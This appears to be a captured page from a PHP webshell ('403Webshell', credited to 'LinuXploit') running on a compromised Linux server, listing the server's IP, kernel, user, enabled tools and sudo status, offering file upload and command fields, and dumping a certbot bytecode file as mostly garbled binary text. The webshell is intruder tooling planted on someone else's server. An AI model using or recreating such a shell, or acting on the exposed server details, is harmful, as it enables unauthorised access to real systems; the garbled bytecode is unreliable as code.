403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/certbot/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/certbot/__pycache__/interfaces.cpython-314.pyc
+
�K�g�<���Rt^RIHt^RIHt^RIHt^RIHt^RIHt^RIH	t	^RIH
t
^RIHt^R	IHt^R
IH
t
^RIHt^RIHt^R
IHt^RIHt^RIHt^RIHt]'d^RIHt!RR]R7t!RR]R7t!RR]4t !RR]4t!!RR]R7t"!RR]R7t#!RR ]R7t$!R!R"]4t%!R#R$]4t&!R%R&]&4t'!R'R(]&4t(R)# ]d]tL�i;i)*zCertbot client interfaces.)�ABCMeta)�abstractmethod)�ArgumentParser)�Any)�Iterable��List)�Optional)�Type)�
TYPE_CHECKING)�Union)�	Challenge)�ChallengeResponse��ClientV2)�
configuration)�AnnotatedChallenge)�	Interface)�Accountc�xa�]tRt^toRt]V3RlRl4t]V3RlRl4t]V3RlRl4tRt	Vt
R	#)
�AccountStoragezAccounts storage interface.c�.<�V^8�dQhRS[R,/#)��returnrr)�format�
__classdict__s"��4/usr/lib/python3/dist-packages/certbot/interfaces.py�__annotate__�AccountStorage.__annotate__ s���$�$�$�y�/�$�c��\4h)z@Find all accounts.

:returns: All found accounts.
:rtype: list

��NotImplementedError��selfs&r�find_all�AccountStorage.find_alls
��"�#�#rc�$<�V^8�dQhRS[RR/#)r�
account_idrr��str)rrs"�rrr*s���
$�
$�s�
$�y�
$rc��\4h)z�Load an account by its id.

:raises .AccountNotFound: if account could not be found
:raises .AccountStorageError: if account could not be loaded

:returns: The account loaded
:rtype: .Account

r!)r$r(s&&r�load�AccountStorage.load)s
��"�#�#rc�(<�V^8�dQhRRRS[RR/#)r�accountr�clientrNr)rrs"�rrr7s"���$�$�I�$�x�$�D�$rc��\4h)zLSave account.

:raises .AccountStorageError: if account could not be saved

r!)r$r/r0s&&&r�save�AccountStorage.save6s
��"�#�#r�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr%r,r2�__static_attributes__�__classdictcell__�rs@rrrsB����%��$��$��
$��
$��$��$rr)�	metaclassc��aa�]tRt^@toRt]t]t]V3RlV3Rll4t	]V3RlRl4t
]V3RlRl4t]]V3RlR	l44t
V3R
ltRtVtV;t#)�Plugina�Certbot plugin.

Objects providing this interface will be called without satisfying
any entry point "extras" (extra dependencies) you might have defined
for your plugin, e.g (excerpt from ``setup.py`` script)::

  setup(
      ...
      entry_points={
          'certbot.plugins': [
              'name=example_project.plugin[plugin_deps]',
          ],
      },
      extras_require={
          'plugin_deps': ['dep1', 'dep2'],
      }
  )

Therefore, make sure such objects are importable and usable without
extras. This is necessary, because CLI does the following operations
(in order):

  - loads an entry point,
  - calls `inject_parser_options`,
  - requires an entry point,
  - creates plugin instance (`__call__`).

c�N<�V^8�dQhRS[S[P,RS[RR/#)r�config�namerN)r	r�NamespaceConfigr*)rrs"�rr�Plugin.__annotate__es.�����x�
�(E�(E�F��c��VZ�rc�$<�\SV`4R#)zzCreate a new `Plugin`.

:param configuration.NamespaceConfig config: Configuration.
:param str name: Unique plugin name.

N)�super�__init__)r$rArB�	__class__s&&&�rrG�Plugin.__init__ds���	���rc�<�V^8�dQhRR/#�rrNr4)rrs"�rrrDos������rc��R#)a$Prepare the plugin.

Finish up any additional initialization.

:raises .PluginError:
    when full initialization cannot be completed.
:raises .MisconfigurationError:
    when full initialization cannot be completed. Plugin will
    be displayed on a list of available plugins.
:raises .NoInstallationError:
    when the necessary programs/files cannot be located. Plugin
    will NOT be displayed on a list of available plugins.
:raises .NotSupportedError:
    when the installation is recognized, but the version is not
    currently supported.

Nr4r#s&r�prepare�Plugin.preparen��rc� <�V^8�dQhRS[/#�rrr))rrs"�rrrD�s�����3�rc��R#)z�Human-readable string to help the user.

Should describe the steps taken and any relevant info to help the user
decide which plugin to use.

:rtype str:

Nr4r#s&r�	more_info�Plugin.more_info�rOrc�*<�V^8�dQhRS[RS[RR/#)r�parserrBrN)rr*)rrs"�rrrD�s"�����>�����rc��R#)adInject argument parser options (flags).

1. Be nice and prepend all options and destinations with
`~.common.option_namespace` and `~common.dest_namespace`.

2. Inject options (flags) only. Positional arguments are not
allowed, as this would break the CLI.

:param ArgumentParser parser: (Almost) top-level CLI parser.
:param str name: Unique plugin name.

Nr4)�clsrVrBs&&&r�inject_parser_options�Plugin.inject_parser_options�rOrc�2<�V^8�dQh/S[;R&S[;R&#)r�descriptionrBr))rrs"�rrrD@s!����<�%�=�B��Crr4)r5r6r7r8r9�NotImplementedr\rBrrGrMrS�classmethodrY�__annotate_func__r:r;�
__classcell__)rHrs@@rr?r?@s�����:&�K�"��D�#����������&����������_�rr?c�xa�]tRt^�toRt]V3RlRl4t]V3RlRl4t]V3RlRl4tRt	Vt
R	#)
�
Authenticatorz�Generic Certbot Authenticator.

Class represents all possible tools processes that have the
ability to perform challenges and attain a certificate.

c�F<�V^8�dQhRS[RS[S[S[,,/#)r�domainr)r*rr
r
)rrs"�rr�Authenticator.__annotate__�s$�����S��X�d�9�o�-F�rc��R#)a�Return `collections.Iterable` of challenge preferences.

:param str domain: Domain for which challenge preferences are sought.

:returns: `collections.Iterable` of challenge types (subclasses of
    :class:`acme.challenges.Challenge`) with the most
    preferred challenges first. If a type is not specified, it means the
    Authenticator cannot perform the challenge.
:rtype: `collections.Iterable`

Nr4)r$rds&&r�get_chall_pref�Authenticator.get_chall_pref�rOrc�F<�V^8�dQhRS[S[,RS[S[,/#)r�achallsr)rrr)rrs"�rrre�s'�����t�$6�7��D�AR�<S�rc��R#)a}Perform the given challenge.

:param list achalls: Non-empty (guaranteed) list of
    :class:`~certbot.achallenges.AnnotatedChallenge`
    instances, such that it contains types found within
    :func:`get_chall_pref` only.

:returns: list of ACME
    :class:`~acme.challenges.ChallengeResponse` instances corresponding to each provided
    :class:`~acme.challenges.Challenge`.
:rtype: :class:`collections.List` of
    :class:`acme.challenges.ChallengeResponse`,
    where responses are required to be returned in
    the same order as corresponding input challenges

:raises .PluginError: If some or all challenges cannot be performed

Nr4�r$rjs&&r�perform�Authenticator.perform�rOrc�4<�V^8�dQhRS[S[,RR/#)rrjrN)rr)rrs"�rrre�s!�����t�$6�7��D�rc��R#)a�Revert changes and shutdown after challenges complete.

This method should be able to revert all changes made by
perform, even if perform exited abnormally.

:param list achalls: Non-empty (guaranteed) list of
    :class:`~certbot.achallenges.AnnotatedChallenge`
    instances, a subset of those previously passed to :func:`perform`.

:raises PluginError: if original configuration cannot be restored

Nr4rls&&r�cleanup�Authenticator.cleanup�rOrr4N)r5r6r7r8r9rrgrmrqr:r;r<s@rrbrb�sF�������������(���rrbc�,a�]tRt^�toRt]V3RlRl4t]V3RlRl4t]RV3RlRll4t]V3R	lR
l4t	]RV3RlRll4t
]RV3R
lRll4t]V3RlRl4t]V3RlRl4t
]V3RlRl4tRtVtR#)�	Installera�Generic Certbot Installer Interface.

Represents any server that an X509 certificate can be placed.

It is assumed that :func:`save` is the only method that finalizes a
checkpoint. This is important to ensure that checkpoints are
restored in a consistent manner if requested by the user or in case
of an error.

Using :class:`certbot.reverter.Reverter` to implement checkpoints,
rollback, and recovery can dramatically simplify plugin development.

c�0<�V^8�dQhRS[S[,/#rQ)rr*)rrs"�rr�Installer.__annotate__�s�����x��}�rc��R#)zWReturns all names that may be authenticated.

:rtype: `collections.Iterable` of `str`

Nr4r#s&r�
get_all_names�Installer.get_all_names�rOrc�<<�V^8�dQhRS[RS[RS[RS[RS[RR/#)rrd�	cert_path�key_path�
chain_path�fullchain_pathrNr))rrs"�rrrv�s:���
�
�#�
�#�
��
� #�
�58�
�=A�
rc��R#)a�Deploy certificate.

:param str domain: domain to deploy certificate file
:param str cert_path: absolute path to the certificate file
:param str key_path: absolute path to the private key file
:param str chain_path: absolute path to the certificate chain file
:param str fullchain_path: absolute path to the certificate fullchain
    file (cert plus chain)

:raises .PluginError: when cert cannot be deployed

Nr4)r$rdr{r|r}r~s&&&&&&r�deploy_cert�Installer.deploy_cert�rOrNc	�f<�V^8�dQhRS[RS[RS[S[S[S[,S[3,,RR/#)rrd�enhancement�optionsrN)r*r	rr)rrs"�rrrvs=�����c����!�%��S�	�3��"7�8��DH�rc��R#)a�Perform a configuration enhancement.

:param str domain: domain for which to provide enhancement
:param str enhancement: An enhancement as defined in
    :const:`~certbot.plugins.enhancements.ENHANCEMENTS`
:param options: Flexible options parameter for enhancement.
    Check documentation of
    :const:`~certbot.plugins.enhancements.ENHANCEMENTS`
    for expected options for each enhancement.

:raises .PluginError: If Enhancement is not supported, or if
    an error occurs during the enhancement.

Nr4)r$rdr�r�s&&&&r�enhance�Installer.enhancerOrc�0<�V^8�dQhRS[S[,/#rQ�rr*)rrs"�rrrvs������S�	�rc��R#)z�Returns a `collections.Iterable` of supported enhancements.

:returns: supported enhancements which should be a subset of
    :const:`~certbot.plugins.enhancements.ENHANCEMENTS`
:rtype: :class:`collections.Iterable` of :class:`str`

Nr4r#s&r�supported_enhancements� Installer.supported_enhancementsrOrc�:<�V^8�dQhRS[S[,RS[RR/#)r�title�	temporaryrN)r	r*�bool)rrs"�rrrvs&�����(�3�-��4��D�rc��R#)a�Saves all changes to the configuration files.

Both title and temporary are needed because a save may be
intended to be permanent, but the save is not ready to be a full
checkpoint.

It is assumed that at most one checkpoint is finalized by this
method. Additionally, if an exception is raised, it is assumed a
new checkpoint was not finalized.

:param str title: The title of the save. If a title is given, the
    configuration will be saved as a new checkpoint and put in a
    timestamped directory. `title` has no effect if temporary is true.

:param bool temporary: Indicates whether the changes made will
    be quickly reversed in the future (challenges)

:raises .PluginError: when save is unsuccessful

Nr4)r$r�r�s&&&rr2�Installer.saverOrc�$<�V^8�dQhRS[RR/#)r�rollbackrN)�int)rrs"�rrrv4s�����S���rc��R#)z{Revert `rollback` number of configuration checkpoints.

:raises .PluginError: when configuration cannot be fully reverted

Nr4)r$r�s&&r�rollback_checkpoints�Installer.rollback_checkpoints3rOrc�<�V^8�dQhRR/#rKr4)rrs"�rrrv<s���	�	�$�	rc��R#)aRevert configuration to most recent finalized checkpoint.

Remove all changes (temporary and permanent) that have not been
finalized. This is useful to protect against crashes and other
execution interruptions.

:raises .errors.PluginError: If unable to recover the configuration

Nr4r#s&r�recovery_routine�Installer.recovery_routine;rOrc�<�V^8�dQhRR/#rKr4)rrs"�rrrvHs�����T�rc��R#)zqMake sure the configuration is valid.

:raises .MisconfigurationError: when the config is not in a usable state

Nr4r#s&r�config_test�Installer.config_testGrOrc�<�V^8�dQhRR/#rKr4)rrs"�rrrvPs������rc��R#)z_Restart or refresh the server content.

:raises .PluginError: when server cannot be restarted

Nr4r#s&r�restart�Installer.restartOrOrr4)N)NF)�)r5r6r7r8r9rrxr�r�r�r2r�r�r�r�r:r;r<s@rrtrt�s�����������
��
������"���������,������	��	��������rrtc�a�]tRtRtoRt]]V3RlRl44t]]V3RlRl44t]]V3RlRl44t	]]V3R	lR
l44t
]]V3RlRl44t]V3R
lRl4tRt
VtR#)�
RenewableCertiXz#Interface to a certificate lineage.c� <�V^8�dQhRS[/#rQr))rrs"�rr�RenewableCert.__annotate__]s�����3�rc��R#)z,Path to the certificate file.

:rtype: str

Nr4r#s&rr{�RenewableCert.cert_path[rOrc� <�V^8�dQhRS[/#rQr))rrs"�rrr�fs�����#�rc��R#)z,Path to the private key file.

:rtype: str

Nr4r#s&rr|�RenewableCert.key_pathdrOrc� <�V^8�dQhRS[/#rQr))rrs"�rrr�os�����C�rc��R#)z2Path to the certificate chain file.

:rtype: str

Nr4r#s&rr}�RenewableCert.chain_pathmrOrc� <�V^8�dQhRS[/#rQr))rrs"�rrr�xs������rc��R#)zhPath to the full chain file.

The full chain is the certificate file plus the chain file.

:rtype: str

Nr4r#s&rr~�RenewableCert.fullchain_pathvrOrc� <�V^8�dQhRS[/#rQr))rrs"�rrr��s�����S�rc��R#)z5Name given to the certificate lineage.

:rtype: str

Nr4r#s&r�lineagename�RenewableCert.lineagename�rOrc�0<�V^8�dQhRS[S[,/#rQr�)rrs"�rrr��s�����t�C�y�rc��R#)z�What are the subject names of this certificate?

:returns: the subject names
:rtype: `list` of `str`
:raises .CertStorageError: if could not find cert file.

Nr4r#s&r�names�RenewableCert.names�rOrr4N)r5r6r7r8r9�propertyrr{r|r}r~r�r�r:r;r<s@rr�r�Xs�����-�
���������������������������������rr�c�@a�]tRtRtoRt]V3RlRl4tRtVtR#)�GenericUpdateri�a%Interface for update types not currently specified by Certbot.

This class allows plugins to perform types of updates that Certbot hasn't
defined (yet).

To make use of this interface, the installer should implement the interface
methods, and interfaces.GenericUpdater.register(InstallerClass) should
be called from the installer code.

The plugins implementing this enhancement are responsible of handling
the saving of configuration checkpoints as well as other calls to
interface methods of `interfaces.Installer` such as prepare() and restart()
c�0<�V^8�dQhRS[RS[RS[RR/#�r�lineage�args�kwargsrN�r�r)rrs"�rr�GenericUpdater.__annotate__�s*���
�
�}�
�S�
�C�
�TX�
rc��R#)a�Perform any update types defined by the installer.

If an installer is a subclass of the class containing this method, this
function will always be called when "certbot renew" is run. If the
update defined by the installer should be run conditionally, the
installer needs to handle checking the conditions itself.

This method is called once for each lineage.

:param lineage: Certificate lineage object
:type lineage: RenewableCert

Nr4�r$r�r�r�s&&*,r�generic_updates�GenericUpdater.generic_updates�rOrr4N)	r5r6r7r8r9rr�r:r;r<s@rr�r��s������
��
rr�c�@a�]tRtRtoRt]V3RlRl4tRtVtR#)�
RenewDeployeri�amInterface for update types run when a lineage is renewed

This class allows plugins to perform types of updates that need to run at
lineage renewal that Certbot hasn't defined (yet).

To make use of this interface, the installer should implement the interface
methods, and interfaces.RenewDeployer.register(InstallerClass) should
be called from the installer code.
c�0<�V^8�dQhRS[RS[RS[RR/#r�r�)rrs"�rr�RenewDeployer.__annotate__�s*���
�
�M�
�#�
��
�QU�
rc��R#)a�Perform updates defined by installer when a certificate has been renewed

If an installer is a subclass of the class containing this method, this
function will always be called when a certificate has been renewed by
running "certbot renew". For example if a plugin needs to copy a
certificate over, or change configuration based on the new certificate.

This method is called once for each lineage renewed

:param lineage: Certificate lineage object
:type lineage: RenewableCert

Nr4r�s&&*,r�renew_deploy�RenewDeployer.renew_deploy�rOrr4N)	r5r6r7r8r9rr�r:r;r<s@rr�r��s������
��
rr�c��]tRtRtRtRtR#)�IPluginFactoryi��SCompatibility shim for plugins that still use Certbot's old zope.interface classes.r4N�r5r6r7r8r9r:r4rrr�r�����]rr�c��]tRtRtRtRtR#)�IPlugini�r�r4Nr�r4rrr�r��r�rr�c��]tRtRtRtRtR#)�IAuthenticatori�r�r4Nr�r4rrr�r��r�rr�c��]tRtRtRtRtR#)�
IInstalleri�r�r4Nr�r4rrr�r��r�rr�N))r9�abcrr�argparser�typingrrrr	r
rr�acme.challengesr
r�acme.clientr�certbotr�certbot.achallengesr�zope.interfacer�
ZopeInterface�ImportError�object�certbot._internal.accountrrr?rbrtr�r�r�r�r�r�r�r4rr�<module>r�s��� ���#������ ��%�-� �!�2��9��1�!$�w�!$�H[�w�[�|8�F�8�v|��|�~:�g�:�N�w��@�g��8^�]�^�^�m�^�^�W�^�^��^��_���M��s�C2�2	C>�=C>

Youez - 2016 - github.com/yon3zu
LinuXploit